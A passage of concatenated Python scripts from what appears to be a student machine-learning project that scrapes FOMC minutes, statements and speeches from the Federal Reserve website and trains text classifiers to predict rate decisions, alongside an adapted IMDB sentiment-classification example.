params, models, resdict, i) return pd.DataFrame(resdict) def makePlot(): plt.plot(L, Asvm, label='svm_{}'.format(label)) plt.plot(L, Alog, label='logistic_{}'.format(label)) plt.plot(L, Aloglasso, label='logistic_lasso_{}'.format(label)) plt.title("Accuracy vs N Words in Text") plt.xlabel("Words in Text") plt.ylabel("Accuracy") plt.legend() plt.show() if __name__ == '__main__': parser = argparse.ArgumentParser(description='ML Project') parser.add_argument('--common', default="../simdata/20k.txt") parser.add_argument('--positive', default="../simdata/pos_words.txt") parser.add_argument('--negative', default="../simdata/neg_words.txt") parser.add_argument('-n','--nSamples', default=50, type=int) parser.add_argument('-t','--trials', default=3, type=int) parser.add_argument('-l','--textLen', default=60, type=int) parser.add_argument('-s','--pctSen', help='pct of sentiment words in the text', default=0.10, type=float) parser.add_argument('-p','--pctTrain', help='pct of sample for training', default=0.75, type=float) parser.add_argument('--stp', help='stepsize', default=10, type=int) parser.add_argument('--max_iter', help='max iterations', default=100, type=int) parser.add_argument('--solver', help="solver for sklearn algo", default='liblinear') args = parser.parse_args() words = Words.load(args.common, args.negative, args.positive) params = Params(args.trials, args.nSamples, args.textLen, args.pctSen, args.pctTrain, args.max_iter, args.solver) max_iter, solver = params.max_iter, params.solver models=[("svm",LinearSVC(max_iter=max_iter)), ("logistic",LogisticRegression(solver=solver,max_iter=max_iter)), ("logistic_lasso",LogisticRegression(penalty='l1',solver=solver,max_iter=max_iter)), ("Naive Bayes",MultinomialNB())] # vary pct words pct = np.arange(0.01, 0.5+0.025, .025) sim_res = {name:np.zeros(len(pct)) for (name, model) in models} for i in range(len(pct)): cp = params cp.pctSen = pct[i] sim_i = Simulator.run(words, params, models) for name in sim_res.keys(): sim_res[name][i] = sim_i[name].mean() for sim in sim_res: plt.plot(pct, sim_res[sim], label='{}'.format(sim)) plt.title("acc vs pct in text") plt.xlabel("pct in txt") plt.ylabel("acc") plt.legend() plt.show() <file_sep>import os import sys import argparse import numpy as np import pandas as pd import datetime import datetime as dt import bisect import re from clean import simple_clean from clean import complex_clean from sklearn.feature_extraction.text import CountVectorizer from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.metrics import accuracy_score from sklearn.svm import LinearSVC from sklearn.linear_model import LogisticRegression from sklearn.naive_bayes import MultinomialNB import matplotlib.pyplot as plt import csv import organizeDocuments # this version allows for multiple fit methods (SVM, Logistic, Logistic Lasso) # this method also computes the mean and std deviation of the accuracy by # this version also allows for ngrams # allows the text preprocessing algorithm to be selected # running each model Niter Times # python ./model2_0.py --ngram 1,1 2,2 3,3 1,3 2,3 --Niter 50 --pctTrain .8 def decisionDF(decisionFile): names = ["minutes_date","publish_date","before","after","decision","flag","change"] usecols = [0,1,2,3,4,5,6] dtypes={"minutes_date":'str',"publish_date":'str',"before":'float',"after":'float', "decision":'str',"flag":'float',"change":'float'} df = pd.read_csv(decisionFile, usecols=usecols, header=None, names=names, dtype=dtypes, sep=",") df['minutes_date'] = pd.to_datetime(df['minutes_date'],format="%Y%m%d") df['publish_date'] = pd.to_datetime(df['publish_date'],format="%Y%m%d") return df def getMinutes(minutesDir, decisionDF, clean_algo): minutes, publish , data = [], [], [] for files in sorted(os.listdir(minutesDir)): f, ext = os.path.splitext(files) minutes.append(datetime.datetime.strptime(f.split("_")[0],"%Y%m%d")) publish.append(datetime.datetime.strptime(f.split("_")[-1],"%Y%m%d")) try: text = clean_algo(open(os.path.join(minutesDir, files)).read().strip()) dec = df[df["publish_date"] == publish[-1]].iloc[0]["flag"] data.append([text, dec]) except Exception as e: print("exception reading file %s" % files) print(e) quit() return data, publish def getStatements(statementsDir, decisionDF, clean_algo): statements, data = [], [] for files in sorted(os.listdir(statementsDir)): f, ext = os.path.splitext(files) statements.append(datetime.datetime.strptime(f.split(".")[0],'%Y%m%d')) try: text = clean_algo(open(os.path.join(statementsDir,files),encoding='utf-8',errors='ignore').read().strip()) dec = df[df["publish_date"] == publish[-1]].iloc[0]["flag"] data.append([text,dec]) except Exception as e: print("exception reading file %s" % files) print(e) quit() return data def getSpeeches(year): oranizeDocs=organizeDocuments.docOrganizer() fullDocumentMatrix = oranizeDocs.createDocMatrix() speechesMatrix = fullDocumentMatrix[fullDocumentMatrix['documentType']=='speeches'] speechesMatrix['meetingDate'] = pd.to_datetime(speechesMatrix['meetingDate']) speechesMatrix['year'] = speechesMatrix['meetingDate'].dt.year speechesMatrix = speechesMatrix[speechesMatrix['year']== year] data = [] for index,row in speechesMatrix.iterrows(): data.append([row['doctext'],row['actionFlag']]) return data def splitTrainTest(data, data_statements, data_speeches, trainPct): np.random.shuffle(data) Ntrain = int(len(data)*args.pctTrain) train_data = pd.DataFrame(data[0:Ntrain],columns=['text', 'sentiment']) train_data = train_data.append(pd.DataFrame(data_statements,columns=['text','sentiment'])) test_data = pd.DataFrame(data[Ntrain:], columns=['text', 'sentiment']) test_data = test_data.append(pd.DataFrame(data_speeches,columns=['text','sentiment'])) return train_data, test_data def getFeatures(train_data, test_data, ngram): vectorizer = CountVectorizer(stop_words="english",preprocessor=None, ngram_range=ngram) #vectorizer = TfidfVectorizer(stop_words="english",preprocessor=None,ngram_range=ngram) training_features = vectorizer.fit_transform(train_data["text"]) test_features = vectorizer.transform(test_data["text"]) return training_features, test_features def runModels(models, data, data_statements, data_speeches, Nitr, pctTrain, ngram): results=[] for iter in range(Nitr): train_data, test_data = splitTrainTest(data, data_statements, data_speeches, pctTrain) training_features, test_features = getFeatures(train_data, test_data, ngram) for i, m in enumerate(models): model=m[1] model.fit(training_features, train_data["sentiment"]) y_pred = model.predict(test_features) acc = accuracy_score(test_data["sentiment"], y_pred) if iter == 0: results.append(np.zeros(Nitr)) results[i][iter]=acc return results if __name__ == '__main__': parser = argparse.ArgumentParser(description='SocialNetworks CSV to HDF5') parser.add_argument('--decision', default="../text/history/RatesDecision.csv") parser.add_argument('--minutes', default="../text/minutes") parser.add_argument('--speeches', default="../text/speeches") parser.add_argument('--statements', default="../text/statements") parser.add_argument('--pctTrain', default=0.75, type=float) parser.add_argument('--Niter', default=10, type=int) parser.add_argument('--cleanAlgo', default="complex") parser.add_argument('--ngram', nargs='+', default=['2,2']) parser.add_argument('--SpeechYear', default=2018, type=int) args = parser.parse_args() ngrams = [(int(x.split(",")[0]),int(x.split(",")[1])) for x in args.ngram] clean_algo = complex_clean if args.cleanAlgo == "complex" else simple_clean pctTrain, cleanA, Niter, ngram = args.pctTrain, args.cleanAlgo, args.Niter, args.ngram df = decisionDF(args.decision) data, publish = getMinutes(args.minutes, df, clean_algo) data_statements = getStatements(args.statements, df, clean_algo) data_speeches = getSpeeches(args.SpeechYear) N = len(data) # Train on current minutes models=[("svm",LinearSVC()), ("logistic",LogisticRegression(solver='liblinear')), ("logistic_lasso",LogisticRegression(penalty='l1',solver='liblinear')), ("Naive Bayes",MultinomialNB())] print("Determining Fed Action from minutes") print("%-20s %5s %5s %10s %10s %5s %8s %6s %10s %10s" % ("Model Name", "NGram", "Niter", "mean(acc)", "std(acc)","N","PctTrain", "clean", "start", "end")) N = N + int(len(data_statements)) + int(len(data_speeches)) for ngram in ngrams: results= runModels(models, data, data_statements, data_speeches, Niter, pctTrain, ngram) #pctTrain = (int(len(data)*0.75) + int(len(data_statements))) / (int(len(data)) + int(len(data_statements))) start, end = publish[0].strftime("%m/%d/%Y"), publish[-1].strftime("%m/%d/%Y") ngramstr = str(ngram[0]) + ":" + str(ngram[1]) for m, r in zip(models, results): name, mu, s = m[0], np.mean(r), np.std(r) print("%-20s %5s %5s %10.4f %10.4f %5d %8.3f %6s %10s %10s" % (name, ngramstr, Niter, mu, s, N, pctTrain, cleanA, start, end)) print("") <file_sep># # # code from here # https://medium.com/data-from-the-trenches/text-classification-the-first-step-toward-nlp-mastery-f5f95d525d73 # # curl http://ai.stanford.edu/~amaas/data/sentiment/aclImdb_v1.tar.gz -oaclImdb_v1.tar.gz # tar -xvzf aclImdb_v1.tar.gz # # # python ./webExample.py # /usr/local/lib/python3.6/site-packages/sklearn/svm/base.py:931: ConvergenceWarning: Liblinear failed to converge, increase the number of iterations. # "the number of iterations.", ConvergenceWarning) # Accuracy on the IMDB dataset: 83.68 import re def clean_text(text): """ Applies some pre-processing on the given text. Steps : - Removing HTML tags - Removing punctuation - Lowering text """ # remove HTML tags text = re.sub(r'<.*?>', '', text) # remove the characters [\], ['] and ["] text = re.sub(r"\\", "", text) text = re.sub(r"\'", "", text) text = re.sub(r"\"", "", text) # convert text to lowercase text = text.strip().lower() # replace punctuation characters with spaces filters='!"\'#$%&()*+,-./:;<=>?@[\\]^_`{|}~\t\n' translate_dict = dict((c, " ") for c in filters) translate_map = str.maketrans(translate_dict) text = text.translate(translate_map) return text import os import numpy as np import pandas as pd def load_train_test_imdb_data(data_dir): """Loads the IMDB train/test datasets from a folder path. Input: data_dir: path to the "aclImdb" folder. Returns: train/test datasets as pandas dataframes. """ data = {} for split in ["train", "test"]: data[split] = [] for sentiment in ["neg", "pos"]: score = 1 if sentiment == "pos" else 0 path = os.path.join(data_dir, split, sentiment) file_names = os.listdir(path) for f_name in file_names: with open(os.path.join(path, f_name), "r") as f: review = f.read() data[split].append([review, score]) np.random.shuffle(data["train"]) data["train"] = pd.DataFrame(data["train"], columns=['text', 'sentiment']) np.random.shuffle(data["test"]) data["test"] = pd.DataFrame(data["test"], columns=['text', 'sentiment']) return data["train"], data["test"] train_data, test_data = load_train_test_imdb_data( data_dir="aclImdb/") from sklearn.metrics import accuracy_score from sklearn.svm import LinearSVC from sklearn.feature_extraction.text import CountVectorizer # Transform each text into a vector of word counts vectorizer = CountVectorizer(stop_words="english", preprocessor=clean_text) training_features = vectorizer.fit_transform(train_data["text"]) test_features = vectorizer.transform(test_data["text"]) # Training model = LinearSVC() model.fit(training_features, train_data["sentiment"]) y_pred = model.predict(test_features) # Evaluation acc = accuracy_score(test_data["sentiment"], y_pred) print("Accuracy on the IMDB dataset: {:.2f}".format(acc*100)) <file_sep>import os import sys import argparse import numpy as np import pandas as pd import datetime import bisect import re from clean import simple_clean from clean import complex_clean from sklearn.feature_extraction.text import CountVectorizer from sklearn.metrics import accuracy_score from sklearn.svm import LinearSVC from sklearn.linear_model import LogisticRegression import matplotlib.pyplot as plt # # simple model # readin in minutes and decision history # align minutes dates to decision hisotry # create a data set of text minutes and decision(action,no action) # create training / test data # create fetures from words using simple vectorizer # fit model to training data using SVM # compute accuracy def decisionDF(decisionFile): names = ["minutes_date","publish_date","before","after","decision","flag","change"] usecols = [0,1,2,3,4,5,6] dtypes={"minutes_date":'str',"publish_date":'str',"before":'float',"after":'float', "decision":'str',"flag":'float',"change":'float'} df = pd.read_csv(decisionFile, usecols=usecols, header=None, names=names, dtype=dtypes, sep=",") df['minutes_date'] = pd.to_datetime(df['minutes_date'],format="%Y%m%d") df['publish_date'] = pd.to_datetime(df['publish_date'],format="%Y%m%d") return df def getMinutes(minutesDir, decisionDF): minutes, publish , data = [], [], [] for files in os.listdir(minutesDir): f, ext = os.path.splitext(files) minutes.append(datetime.datetime.strptime(f.split("_")[0],"%Y%m%d")) publish.append(datetime.datetime.strptime(f.split("_")[-1],"%Y%m%d")) try: text = complex_clean(open(os.path.join(minutesDir, files)).read().strip()) dec = df[df["publish_date"] == publish[-1]].iloc[0]["flag"] data.append([text, dec]) except Exception as e: print("exception reading file %s" % files) print(e) quit() return data if __name__ == '__main__': parser = argparse.ArgumentParser(description='ML Spring 2019') parser.add_argument('--decision', default="../text/history/RatesDecision.csv") parser.add_argument('--minutes', default="../text/minutes") parser.add_argument('--speeches', default="../text/speeches") parser.add_argument('--statements', default="../text/statements") parser.add_argument('--pctTrain', default=0.75, type=float) args = parser.parse_args() df = decisionDF(args.decision) data = getMinutes(args.minutes, df) np.random.shuffle(data) # # Train on current minutes # so the current meeting minutes are being used to predict if there's an action # obvious not legit because we need prior months more a proof of concept Ntrain = int(len(data)*args.pctTrain) train_data = pd.DataFrame(data[0:Ntrain],columns=['text', 'sentiment']) test_data = pd.DataFrame(data[Ntrain:], columns=['text', 'sentiment']) vectorizer = CountVectorizer(stop_words="english",preprocessor=None) training_features = vectorizer.fit_transform(train_data["text"]) test_features = vectorizer.transform(test_data["text"]) model = LinearSVC() model.fit(training_features, train_data["sentiment"]) y_pred = model.predict(test_features) acc = accuracy_score(test_data["sentiment"], y_pred) print("accuracy of model 0 %f" % acc) <file_sep>import itertools import urllib from urllib.request import Request, urlopen from urllib.error import URLError, HTTPError from bs4 import BeautifulSoup import re import pandas as pd import os import datetime import csv from datetime import datetime from dateutil.parser import parse def pre08_MinutesScraper(meetingList): for i in meetingList: url = 'https://www.federalreserve.gov/fomc/minutes/'+i[0]+'.htm' secondUrl = 'https://www.federalreserve.gov/monetarypolicy/fomcminutes'+i[0]+'.htm' thirdUrl = 'https://www.federalreserve.gov/monetarypolicy/fomc20080625.htm' prog = re.compile('\d{4}\d{2}\d{2}') try: response = urllib.request.urlopen(url) dateOfText=re.findall(prog,url) except: try: response = urllib.request.urlopen(secondUrl) dateOfText=re.findall(prog,secondUrl) except: response = urllib.request.urlopen(thirdUrl) dateOfText=re.findall(prog,thirdUrl) html = response.read() soup = BeautifulSoup(html,'html5lib') text2 = soup.get_text(strip = True) text2=re.sub(r'(?<=[a-z])(?=[A-Z])', ' ', text2) text2 = re.sub(r'\s+', ' ',text2).strip() startIndex = 0 endIndex = 0 if (text2.find("Developments in Financial Markets") != -1): text2= text2[text2.find("Developments in Financial Markets"):] elif (text2.find("The information reviewed") != -1): text2= text2[text2.find("The information reviewed"):] elif (text2.find("The information provided") != -1): text2= text2[text2.find("The information provided"):] elif (text2.find("The Manager of the System Open Market") != -1): text2= text2[text2.find("The Manager of the System Open Market"):] else: print(i[0]) print("I SHOULDNT BE HERE") text2=text2[:text2.rfind("Last update")+100] start = '' end = '' publishDate = '' lengthText = len(text2) if(text2[lengthText-2:].lower() == 'pm'): start = 'Last update:' publish_date = (text2[text2.find(start)+len(start):]).replace(',','') publish_date = (publish_date).replace(' ','') publish_date_object = datetime.strptime(publish_date,'%B%d%Y%H:%M%p') publish_date = publish_date_object.strftime('%Y%m%d') publishDate = publish_date else: start = 'Last update:' end = 'Home' publish_date = (text2[text2.find(start)+len(start):text2.rfind(end)]).strip() publishDate = datetime.strptime(publish_date,"%B %d, %Y").strftime("%Y%m%d") if text2.find("Notation") == -1: text2 = text2[:text2.rfind("Return to top")] else: text2 = text2[:text2.rfind("Notation")] print(publish_date) text2 = re.sub("[^\x20-\x7E]", "",text2) text_file = open(os.getcwd()+"/minutes/"+dateOfText[0]+"_minutes_published_"+publishDate+".txt","w") print(dateOfText[0]+"_minutes_published_"+publishDate) text_file.write(text2) text_file.close() def retrieveMinutes(): ##List of FOMC minutes URLs listOfMinutesURLs = [ "https://www.federalreserve.gov/monetarypolicy/fomcminutes20120125.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20120313.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20120425.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20120620.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20120801.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20120913.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20121024.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20121212.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20130130.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20130320.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20130501.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20130619.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20130731.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20130918.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20131030.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20131218.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20141217.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20141029.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20140917.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20140730.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20140618.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20140430.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20140319.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20140129.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20151216.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20151028.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20150917.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20150729.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20150617.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20150429.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20150318.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20150128.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20161214.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20161102.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20160921.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20160727.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20160615.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20160427.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20160316.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20160127.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20171213.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20171101.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20170920.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20170726.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20170614.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20170503.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20170315.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20170201.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20181219.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20181108.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20180926.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20180801.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20180613.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20180502.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20180321.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20180131.htm" ] ##Minute Text Retrieval for index,x in enumerate(listOfMinutesURLs): #Beautiful Soup to scrape the data from the URL response = urllib.request.urlopen(listOfMinutesURLs[index]) html = response.read() soup = BeautifulSoup(html,'html5lib') text2 = soup.get_text(strip = True) #Index to the beginning and end of the minutes to remove unwanted javascript text2= text2[text2.find("in Financial Markets"):] text2=text2[:text2.index("Last Update")+100] start = 'Last Update:' end = 'Board of Gov' #Extract the minutes publish date publish_date = (text2[text2.find(start)+len(start):text2.rfind(end)]).strip() print(publish_date) #Add spaces between a lowercase and capital letter text2=re.sub(r'(?<=[a-z])(?=[A-Z])', ' ', text2) text2 = text2[:text2.rfind("At the conclusion of the discussion")] #Save file with date published and the date of the meeting prog = re.compile('\d{4}\d{2}\d{2}') dateOfText=re.findall(prog,listOfMinutesURLs[index]) publishDate = datetime.strptime(publish_date,"%B %d, %Y").strftime("%Y%m%d") text_file = open(os.getcwd()+"/minutes/"+dateOfText[0]+"_minutes_published_"+publishDate+".txt","w") text_file.write(text2) text_file.close() def retrieveOldWebsiteMinutes(): listOfMinutesURLs = [ "https://www.federalreserve.gov/monetarypolicy/fomcminutes20090128.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20090318.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20090429.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20090624.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20090812.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20090923.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20091104.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20091216.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20100127.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20100316.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20100428.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20100623.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20100810.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20100921.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20101103.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20101214.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20110126.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20110315.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20110427.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20110622.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20110809.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20110921.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20111102.htm", "https://www.federalreserve.gov/monetarypolicy/fomcminutes20111213.htm" ] ##Minute Text Retrieval for index,x in enumerate(listOfMinutesURLs): #Older minutes are stored on an HTML website, no java script #Beautiful soup to scrape the minutes print (listOfMinutesURLs[index]) response = urllib.request.urlopen(listOfMinutesURLs[index]) html = response.read() soup = BeautifulSoup(html,'html5lib') text2 = soup.get_text(strip = True) text2=re.sub(r'(?<=[a-z])(?=[A-Z])', ' ', text2) #Capture the beginning and end of the minutes if(text2.find("Developments in Financial Markets") != -1): text2= text2[text2.index("Developments in Financial Markets"):] text2=text2[:text2.index("Last update")+100] else: text2= text2[text2.index("Market Developments and Open Market Operations"):] text2=text2[:text2.index("Last update")+100] start = 'Last update:' end = 'Home' publish_date = (text2[text2.find(start)+len(start):text2.rfind(end)]).strip() print(publish_date) if text2.rfind("At the conclusion of the discussion") == -1: text2 = text2[:text2.index("Return to top")] else: text2 = text2[:text2.rfind("At the conclusion of the discussion")] #Save minutes with the release and meeting dates in the file name prog = re.compile('\d{4}\d{2}\d{2}') dateOfText=re.findall(prog,listOfMinutesURLs[index]) publishDate = datetime.strptime(publish_date,"%B %d, %Y").strftime("%Y%m%d") text_file = open(os.getcwd()+"/minutes/"+dateOfText[0]+"_minutes_published_"+publishDate+".txt","w") text_file.write(text2) text_file.close() def retrieveStatements(): listOfStmtURLs = [ "https://www.federalreserve.gov/newsevents/pressreleases/monetary20100127a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20100316a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20100428a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20100623a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20100810a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20100921a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20101103a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20101214a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20110126a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20110315a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20110427a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20110622a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20110809a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20110921a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20111102a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20111213a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20120125a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20120313a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20120425a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20120620a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20120801a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20120913a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20121024a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20121212a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20130130a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20130320a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20130501a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20130619a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20130731a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20130918a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20131030a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20131218a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20141217a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20141029a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20140917a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20140730a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20140618a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20140430a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20140319a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20140129a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20151216a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20151028a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20150917a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20150729a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20150617a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20150429a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20150318a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20150128a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20161214a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20161102a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20160921a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20160727a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20160615a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20160427a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20160316a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20160127a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20171213a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20171101a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20170920a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20170726a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20170614a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20170503a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20170315a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20170201a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20181219a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20181108a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20180926a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20180801a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20180613a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20180502a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20180321a.htm", "https://www.federalreserve.gov/newsevents/pressreleases/monetary20180131a.htm" ] ##Statement Text Retrieval for index,x in enumerate(listOfStmtURLs): response = urllib.request.urlopen(listOfStmtURLs[index]) html = response.read() soup = BeautifulSoup(html,'html5lib') text2 = soup.get_text(strip = True) text2= text2[text2.find("Information received since"):] text2=text2[:text2.index("Last Update:")] text2=re.sub(r'(?<=[a-z])(?=[A-Z])', ' ', text2) prog = re.compile('\d{4}\d{2}\d{2}') dateOfText=re.findall(prog,listOfStmtURLs[index]) text_file = open(os.getcwd()+"/statements/"+dateOfText[0]+".txt","w") text_file.write(text2) text_file.close() def retrieveSpeeches(): #get a list of URLS of Governors speeches for a given year #Scrape the dates and names from the website for a given year listOfYears = ['2011','2012','2013','2014','2015','2016','2017','2018'] #The list of speakers over the 2011-2018 time period search_list = ['yellen', 'powell', 'fischer','tarullo','quarles','brainard','clarida','stein','bernanke','duke','raskin'] for year in listOfYears: #Build list of dates urls = list() ##Speech urls are saved by year at this address, the date of the speech is represented as mm/dd/yyyy on this page, extract the dates from that page speechYearUrl = "https://www.federalreserve.gov/newsevents/speech/"+year+"-speeches.htm" response = urllib.request.urlopen(speechYearUrl) html = response.read() soup = BeautifulSoup(html,'html5lib')#.decode('utf-8','ignore') text2 = soup.get_text(strip = True) date_reg_exp = re.compile('\d{2}/\d{2}/\d{4}') date_matches_list=date_reg_exp.findall(text2) long_string = text2 names_reg_Ex = re.compile('|'.join(search_list),re.IGNORECASE) #re.IGNORECASE is used to ignore case #Iterate through the list of dates and possible speaker combinations, if there is a 404 error, the try/catch will try the next possible combination of date and speaker. It will stop when it is able to extract a speech. name_matches_list = names_reg_Ex.findall(text2) for idex, match in enumerate(date_matches_list): for jdex, speaker in enumerate(search_list): try: date_matches_list[idex] = datetime.strptime(match, "%m/%d/%Y").strftime("%Y%m%d") urlCall = 'https://www.federalreserve.gov/newsevents/speech/'+search_list[jdex].lower()+date_matches_list[idex]+'a.htm' print(urlCall) response = 